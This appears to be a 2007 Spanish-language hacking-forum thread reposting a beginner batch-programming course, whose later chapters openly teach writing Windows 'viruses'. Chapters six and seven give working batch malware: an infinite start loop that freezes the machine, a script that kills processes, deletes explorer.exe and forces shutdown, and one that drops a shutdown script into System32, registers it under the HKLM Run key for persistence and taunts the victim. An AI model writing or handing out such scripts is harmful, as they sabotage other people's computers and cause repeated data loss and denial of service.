Bienvenido(a), Visitante. Por favor, ingresa o regístrate.
Julio 29, 2010, 01:20:32
Inicio Ayuda Buscar Ingresar Registrarse
Noticias: Proximamente nueva version de hackeruna.com

+  Comunidad Underground Latinoamericana :: Hackeruna.com (CUL)
|-+  Programacion
| |-+  Programacion Tradicional
| | |-+  Batch
| | | |-+  Curso de programcion en Batch
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Imprimir
Autor Tema: Curso de programcion en Batch  (Leído 1233 veces)
Rex
Newbie
*

Popularidad 0
Sexo: Masculino
Mensajes: 39



Ver Perfil WWW
« : Octubre 20, 2007, 09:05:25 »

CURSO DE PROGRAMACION EN BATCH PARA PRINCIPIANTES
A AQUELLAS PERSONAS QUE COMIENZAN A PROGRAMAR
POR TXSHACK

INRODUCCION:

Este curso va destinado para Newbies que aun no han comenzado a programar. Intentare explicarlo todo lo mas claro y preciso que pueda. Si ustedes ya han programado alguna vez, no se molesten en leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender.
El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que puedan aprender bien.

Los unicos requisitos son; el bloc de notas, paciencia e intentar entender lo que se hace


CAPITULO UNO:
MI PRIMER PROGRAMA .BAT

En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la programcion en batch.

Abran el bloc de notas.
A continuacion escrivan

Citar
Código:
@echo off

Asi sera como empesemos siempre el programa
A continuacion escriviremos es titulo del programa, para ello pondremos title seguido de su titulo, ejemplo:

Citar
Código:
@echo off
title mi primer programa txshack

De esta forma nuestro programa tendra el nombre de, "mi primer programa txshack"

Ahora les mostrare una serie de comandos basicos que deven de aprender, les aconsejo que lo apunten en un papel para tenerlos siempre presentes.

echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word

echo este sirve para mostrar un mensaje en el programa

rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para acer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc)

pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir, daremos una tecla y continuara.

exit esta sirve para acabar el programa, para salir de el....

Bien una vez dicho esto, podremos crear nuestro primer programa.
Abran el bloc de notas si aun no lo han echo y escriban..

Citar
Código:
@echo off
title mi primer programa txshack
echo.
echo comentario
echo.
pause
echo.
echo este es mi primer programa jejeje siiiiii
pause > nul
rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion
exit

Aora le dan a guardar como y lo llaman por ejemplo 1ºprogramacontxshack.bat o lo que quieran, pero deve ser loquesea.bat

Aora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!

Despues intenten entender el codigo, y veran lo sencillo que es...

En el proximo capitulo les enseñare como hacer que el programa te aga preguntas y tu responderlas...etc

No se impacienten!! jeje
Espero que les ayude.

Un saludo, autor txshack
En línea
Rex
Newbie
*

Popularidad 0
Sexo: Masculino
Mensajes: 39



Ver Perfil WWW
« Respuesta #1 : Octubre 20, 2007, 09:06:14 »

CAPITULO 2: LAS VARIABLES

Espero que les quedase claro lo que dimos en el capitulo numero. Fue una cosa sencilla no?
Ahora pasaremos a las variables.

Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.

Citar
Código:
@echo off
title ejemplos
set  var=capullo
echo eres un %var%
pause

Como veran comenzamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado ejemplos. (asta aki ya lo sabian no??)
a continuacion al poner set var=capullo ace que la palabra capullo se muestre cuando ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un capullo jejeje, esto es un ejemplo, vean.



han visto no?? asi pueden acer todo lo que se les ocurra...lo q deven recordar es que tiene q empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra seguida de set, de esta forma %unapalabra%

por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les ago el ejemplo...

Citar
Código:
@echo off
title ejemplo4
set/p nombre= ¿como te llamas?
echo.
pause
echo.
set/p edad= ¿y cuantos años tienes?
echo.
pause
echo.
set/p vive= ¿y donde vives?
echo.
pause
cls
echo te llamas %nombre% y tienes %edad% años y vives en %vive%
echo.
pause > nul
exit

han visto no?? si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y pegar para que les sirva de ejemplo. Vallan provando, es la mejor forma de acordarte de ello y coger soltura

Y bueno, si se an quedado con esto... por oy ya es bastante...

Ah!! una ultima cosa.. les voy a dar ya los codigos de colores para que experimenten a cambiar el color a la ventana del programa. Es facil de usar, deven poner, color seguido de un numero y letra (color de letras y de fondo)... prueven....

CODIGO DE COLORES:

0 = Negro
1 = Azul
2 = Verde
3 = Aguamarina
4 = Rojo
5 = Púrpura
6 = Amarillo
7 = Blanco
8 = Gris
9 = Azul claro
A = Verde claro
B = Aguamarina claro
C = Rojo claro
D = Púrpura claro
E = Amarillo claro
F = Blanco brillante

Os dejo un ejemplo del anterior, ejmplo3, para que vean como se meten los colores

Citar
Código:
@echo off
title ejemplo4
color 5e
set/p nombre= ¿como te llamas?
echo.
pause
echo.
set/p edad= ¿y cuantos años tienes?
echo.
pause
echo.
set/p vive= ¿y donde vives?
echo.
pause
cls
color 2f
echo te llamas %nombre% y tienes %edad% años y vives en %vive%
echo.
pause > nul
exit



Espero que asta aqui lo hallan entendido, si necesitan alguna aclaracion o no entienden algo. No duden en postear.

Continuaremos el proximo dia. Un saludo. hackerX_TX

autor TXShack
En línea
Rex
Newbie
*

Popularidad 0
Sexo: Masculino
Mensajes: 39



Ver Perfil WWW
« Respuesta #2 : Octubre 20, 2007, 09:07:07 »

CAPITULO 3: VARIABLES -CONTINUACION-


En esta ocasion, os explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p).

Estas en vez de set/p xxx= se llaman set/a xxx=
Sirve por ejemplo para realizar medias, porcentajes...etc...

Lo mejor es ver un ejemplo:

Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1º capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo digo porque lo utilizare para irles explicando.

VEAN:

Citar
Código:
@echo off
title calcula tus nota lo que acemos es dotar la palabra asig con el valor 6
set/a suma=a+b+c+d+e+f
rem aqui sumamos las medias
set/a media=%suma%/%asig%
rem como veran al dividir la suma entre las asignaturas sacamos la media
echo tu nota media es de : %media%
pause
echo estudia mas cabron
echo.
echo consejo de txshack
pause
exit

Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ¿¡que qereis!? jeje

Espero que lo ayais entendido.

Los comandos de las operaciones son

suma+
resta -
producto *
division /
exponente ^

saludos
En línea
Rex
Newbie
*

Popularidad 0
Sexo: Masculino
Mensajes: 39



Ver Perfil WWW
« Respuesta #3 : Octubre 20, 2007, 09:07:51 »

CAPITULO 4: IF, GOTO, MENUS

Bueno, en este 4º capitulo, os explicare 2 sencillos comandos (el goto, y el de la estructuracion por menus), y otro algo mas complicado (el if) pero vereis que con un poco de practica tambien esta chupado.

El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un menu...

Los menus, nos permiten hacer "menus" o apartados en nuestro bat.

Los menus se hacen escriviendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas claro)

El comando if sirve para establecer una condicion, es decir, si la condicion se cumple o no, se ara tal cosa.

El comando if, dispone de los siguientes atributos:

variable==valor (para expresar si la variable es igual a valor az esto)
variable LSS valor (para expresar si la variable es menor a valor az esto)
variable GTR valor (para expresar si la variable es mayor a valor az esto)
variable LEQ valor (para expresar si la variablees menor o igual az esto)
variable GEQ valor (para expresar si la variable es mayor o igual az esto)

Para ver mas claro esto del goto, el if, y lo de los menus, os pondre un simple ejemplo.

Citar
Código:
@echo off
title txshack if, goto y menus
:menu
cls
echo responde si o no
echo.
set /p var=quieres convertirte en hacker??
If %var%==si goto serh
If %var%==no goto noh
:serh
cls
echo pues entonces sigue los consejos de txshack
pause > nul
goto end
:noh
cls
echo.
echo pues entonces que coño aces leyendo esto??
pause > nul
goto end
:end
cls
echo.
echo adios
pause
exit

Han comprendido no?? es sencillo.

Aqui os dejo otro ejemplo

Citar
Código:
@echo off
title ¿que numero sera...?
:menu
cls
echo deves averiguar el numero para poder salir
echo.
set /p var=pon un numero:
If %var%==5 goto si
If %var% LSS 5 goto menor
If %Var% GTR 5 goto mayor
:si
cls
echo correcto!!! por culo te la inco!! jaja
pause
goto salir
:menor
cls
echo elije otro mas alto
echo.
echo sigue jugando
pause > nul
goto menu
:mayor
echo elije otro mar pekeño!!
echo.
echo sigue probando
pause > nul
goto menu
:salir
echo.
echo asta otro dia!!
pause > nul
echo.
echo un saludo, txshack
pause
exit

Ya lo abran pillado no??

Tambien pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa esto....haz esto, lo que hace es decir, SI NO pasa esto...haz esto. ¿Entienden no??? sino agan un ejemplo veran q facil es.

Se preguntaran tambien que pasa, cuando por ejemplo en el 1º ejemplo que puse, en vez de escrivir si o no, escribimos otra cosa, entonces lo que sucedera, es que el lenguage, al ser lineal, pasra a la siguiente linea... sin importar lo q pongamos (pruevenlo).

Pero no se preocupen todo esto tiene solucion con un comando llamado else.

Lo que qiere decir es sino haz esto, es decir, por ejemplo decimos

Citar
Código:
if %vari%=1 (goto menu1) else goto menu2

Lo que qiere decir esto, es que si la variable es 1, vallamos al menu1, sino, al menu 2.
La sintaxis seria esta

if condiciones (accion1) ELSE accion2

La 1º accion deve ir entre parentesis obligatoriamente.

Vean un ejemplo les quedara mas claro...
En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escrives cualqier otra cosa, veran que vuelve al principio, y no pasa como en los ejemplos de antes

Citar
Código:
@echo off
title txshack di soy bobo
:menu
cls
echo  que quieres? consejo o salir
echo.
set /p var=dime, consejo o salir:
If %var%==consejo (goto consejo) else goto if2
:if2
if %var%==salir (goto end) else goto menu
:consejo
cls
echo ten cuidado con lo que descargas, fiate solo de txshack, el es legal!!
pause > nul
goto end
:end
cls
echo.
echo adios!!
pause
exit

Bueno, y con todo esto acabo por hoy. Creo que son bastantes cosas por hoy no creen??

Pronto seguire.

Un saludo; hackerX              autor:TxShack
En línea
Rex
Newbie
*

Popularidad 0
Sexo: Masculino
Mensajes: 39



Ver Perfil WWW
« Respuesta #4 : Octubre 20, 2007, 09:08:44 »

CAPITULO 5: ULTIMOS COMANDOS

Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten y prueven por ustedes mismos.

En este capitulo, os enseñare el resto de comandos interesantes, y para el proximo capitulo, nos meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.

Bien, estos son los comandos basicos q deven recordar:

del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe

/P Pide confirmación en cada caso
/F Modo force. Borra incluso los archivos de solo lectura
/S Borra también los subdirectorios.
/Q Modo silencioso. No pide confirmación en ningún caso

rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir.

star comienza algo, por ejemplo star www.infiernohacker.mundoforo.com

taskkill mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe

format unidad: formatea una unidad, por ejemplo format c:

msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y no te olvides de visitar infiernohacker

reg add añade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)

> y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.
Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente adios.
Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios.
Espero que lo hayan entendido... en brebes palabras_
> crea o remplaza un archivo
>>salta asta la linea siguiente

ejemplo:
Citar
Código:
@echo off
echo txshack>hola.txt
exit

Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra txshack

* El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg
borrara todos los archivos con extension .jpg
del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.

? El ? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?

El * y ? sirve tanto para el nombre como la extension.... No voy a liarme mucho en esto, porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden.
c?sa.* (archivos c -un caracter- sa y de cualquier extension)
*asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)

CHDIR o CD [path>

Cambia al directorio indicado.

CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa
CD .. Trasladarse al directorio superior
CD \\ Trasladarse al raíz

ATTRIB [/S> [archivo>

Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.

Con el parámetro /S busca también en subdirectorios.

Los atributos son:
H -> oculto. Se activa con +h y desactiva con -h
R -> Lectura. Solo lectura con +r, normal con -r
S -> Sistema. Se activa con +s y desactiva con -s
A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.

ATTRIB archivo.txt Muestra los atributos de ese archivo
ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt

Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)

shutdown este comando, depende de las letras que lo acompañen, puede acer una cosa u otra:
si esta seguido de -r se reiniciara el equipo
-s hara que se apage
-f forzara a cerrarse todos programas
-t 15 indica el tiempo...en este caso 15 segundos
-c " " lo que va entre comillas sera un mensaje...

pongamos un ejemplo_

shutdown -r -f -t 12 -c "jodete"  esto ara q la pc se reinicie (-r) que se cierren todos los programas forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga jodete


Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los basicos.

Como ya les dijen puede que ahora se me escape alguno...pero cuado veamos la creacion de virus y programas, iran apareciendo los que me ayan quedado. De momento creo que con estos tenemos por hoy ^^

Cuando pueda seguire.

Un saludo de hackerX

autor:TxShack
En línea
Rex
Newbie
*

Popularidad 0
Sexo: Masculino
Mensajes: 39



Ver Perfil WWW
« Respuesta #5 : Octubre 20, 2007, 09:09:23 »

CAPITULO 6: INICIACION A LA CREACION DE VIRUS

Como ya os habia dicho, a partir de aqui, comenzaremos con la creacion de virus.

Epezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo (profundizando algo mas) en este tema.

1.)Introduccion

Buenas , ante todo he de decir que esto es un manual de introducción y no un manual para expertos. En este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-dos)

¿Qué es un comando?
es una orden que le damos al sistema operativo para que haga una tarea determinada.

explicación: @echo off

Desabilita el echo  para que no muestre los comandos , que se ejecutaran posteriormente.

explicación: shutdown

es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones
que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.

explicación: parametro -s y -t

el parametro -s da la orden a shutdown para que apage el equipo  y con -t especificamos los segundos. en el ejemplo
de antes pusimos 1 segundo.

otros parametros de shutdown:

shutdown -r = Reinicia
shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m \\nombredehost
shutdown -f = fuerza el cierre de las aplicaciones.

Comandos básicos

a continuación os pondré varios comandos que sirven mucho a la hora de hacer virus.

-del = borra un archivo
-copy = copia un archivo
-reg = hacer modificaciones en el registro
-net = Muchas funciones, escriban en cmd net /? para ver sus funciones Sonrisa
-RD = elimina un directorio
-set = Muestra , establece, crea , variables de entorno de windows.
-taskkill o tskill = mata procesos

Comandos del registro

Operaciones:

REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?

Usad estos comandos para obtener ayuda sobre los parametros después de reg.

inicio-ejecutar-cmd y escrivid algun comando para saber lo que es (asi me ahorro el explicar cada uno xD)

Bucles

Bueno un bucle es repetir muchas veces lo mismo
ejemplo

@echo off
:txshack
echo te estoy haciendo un bucle jaja
goto txshack

jeje ya podeis imaginaros las cosas que podeis hacer.

otro ejemplo:

@echo off
:menu
start
goto menu


Madre mía.. este simple código , el que lo abra tendrá que reiniciar , por que el pc se le trabará todo.

el comando start lo que hace es abrir otra shell, así que imaginate este bucle infinito.

podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc
(start )

Nuestro segundo virus.

@echo off
taskkill /F /IM msnmsgr.exe
del /F c:\windows\system32\explorer.exe
shutdown -s -t 10 -c "Asta luego lucas!!"

Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con el mensaje asta luego lucas xD

Variables de windows xp

para ver el contenido de estas variables escriban en cmd.exe

echo %NOMBREDELAVARIABLE%

%COMPUTERNAME% = Nombre de host.
%SYSTEMROOT% = Carpeta de administración Normalmente c:\windows
%TEMP% = directorio donde se encuentran los archivos temporales
%WINDIR% = directorio de windows.
%USERNAME% = usuario con el que se inicio sesión
%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesión
%PROGRAMFILE% = directorio donde se encuentran los archivos de programas
%OS% = muestra el sistema operativo que estamos ejecutando
%LOGONSERVER% = nombre de nuestro server (\\mihost)

no son todos pero estan los mas importanter ^^

Y bueno, por hoy lo dejo aqui.. cuando pueda seguire.. ^^ espero que pueda ser pronto.

Un saludo  hackerX                autor: TxShack
En línea
Rex
Newbie
*

Popularidad 0
Sexo: Masculino
Mensajes: 39



Ver Perfil WWW
« Respuesta #6 : Octubre 20, 2007, 09:10:13 »

CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS

Bueno, puesto que muchos estais esperando este nuevo capitulo, e sacado un rato y por fin e podido hacerlo.

Teniendo mas o menos claros lo del tema anterior en este intentare explicaros de la forma mas clara posible como hacer que el virus se quede en run para que se ejecute al arrancar, y algunas cosillas mas...

Podemos crear un virus que se ejecute, haga su funcion y ya esta...
o podemos crear un virus, que se guarte en la PC y se ejecute con esta cada vez que se inicie...

Como podemos ver el daño no es igual...

imaginen este virus:

Código:
@echo off
shutdown -r -f -t 5
exit

Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la victima lo vuelva a ejecutar...

Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya joderia algo mas no?

Pues bien, esto es lo que voy a intentar explicar.

1º Devemos acer que nuestro virus se cree en algun directorio

2º Añadirlo al registo, (a run)

3º Esto ya es opcional, podemos hacer q se ejecute, o poner algo en el bat... etc

Bueno, en primel lugar, comenzaremos como siempre

@echo off

A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por ejemplo C: o System32 o Windows... etc

Si queremos que se guarde en c: basta con escrivir tan solo cd

@echo off
cd

Si por ejemplo queremos q se guarde en System32, pues ariamos:

Código:
@echo off
cd c:\windows\system32

Y de esta forma igual con cualquier otro directorio....

Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat completo en system32... es decir... crear uno desde el principio, apartir de este...

Lo veran mejor con el siguiente ejemplo

Citar
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
exit

Entienden lo que emos echo no?? si an seguido el manual desde el principio, entenderan el porqe del > y del >>.

Por si no lo saben se lo explico brebemente:

El > sirve para crear o remplazar un archivo, y el >> para excrivir en la linea siguiente.

Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos queda añadirlo a RUN para q se inicie con windows...
Para ello añadiremos lo siguiente:

reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f

Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta C:\windows\system32.
Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.

Asi que de momento nuestro virus iria asi:

Citar
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
exit

Pues con esto ya ariamos una buena chapuzilla a alguno xD jeje.

Ahora podriamos poner algun mensaje y tambien ejecutar el bat...

Por ejemplo asi:

Citar
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
msg * Estas perdido amigo
msg * Ahora TxShack domina tu pc
msg * jajaja
start c:\windows\system32\virus.bat
exit

Bueno, y asta aqui, explicare por hoy ^^

Espero que lo hayan entendido todo...

Otro dia are algun virus mas complicado (mas completo) incluyendo mataprocesos, borrado de archivos...etc

Pongan a prueva su ingenio e imaginacion!! Es mas facil de lo que parece.

Un saludo, y asta pronto:

autor:TxShack
En línea
Rex
Newbie
*

Popularidad 0
Sexo: Masculino
Mensajes: 39



Ver Perfil WWW
« Respuesta #7 : Octubre 20, 2007, 09:12:24 »

Y por ultimo espero que les haya gustado mi aporte y que si creen que pueden hacer subforos de batch me pueden hacer moderadpr de esa seccion la verdad es que me gusta ayudar y colaborar bastante jejeje

luego me dicen si me quieren como moderador de batch o que?

saludos
En línea
g3n1ux
Geek
***

Popularidad 0
Mensajes: 129

que pasa si hago esto....?


Ver Perfil WWW
« Respuesta #8 : Julio 08, 2009, 07:20:23 »

aplausos esta super que explicado me encanto ojalas que pongas mas sobre esto.. por fravor para si aprender mas gracias..
En línea

Páginas: [1] Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by MySQL Powered by PHP Powered by SMF 1.1.11 | SMF © 2006-2009, Simple Machines LLC XHTML 1.0 válido! CSS válido!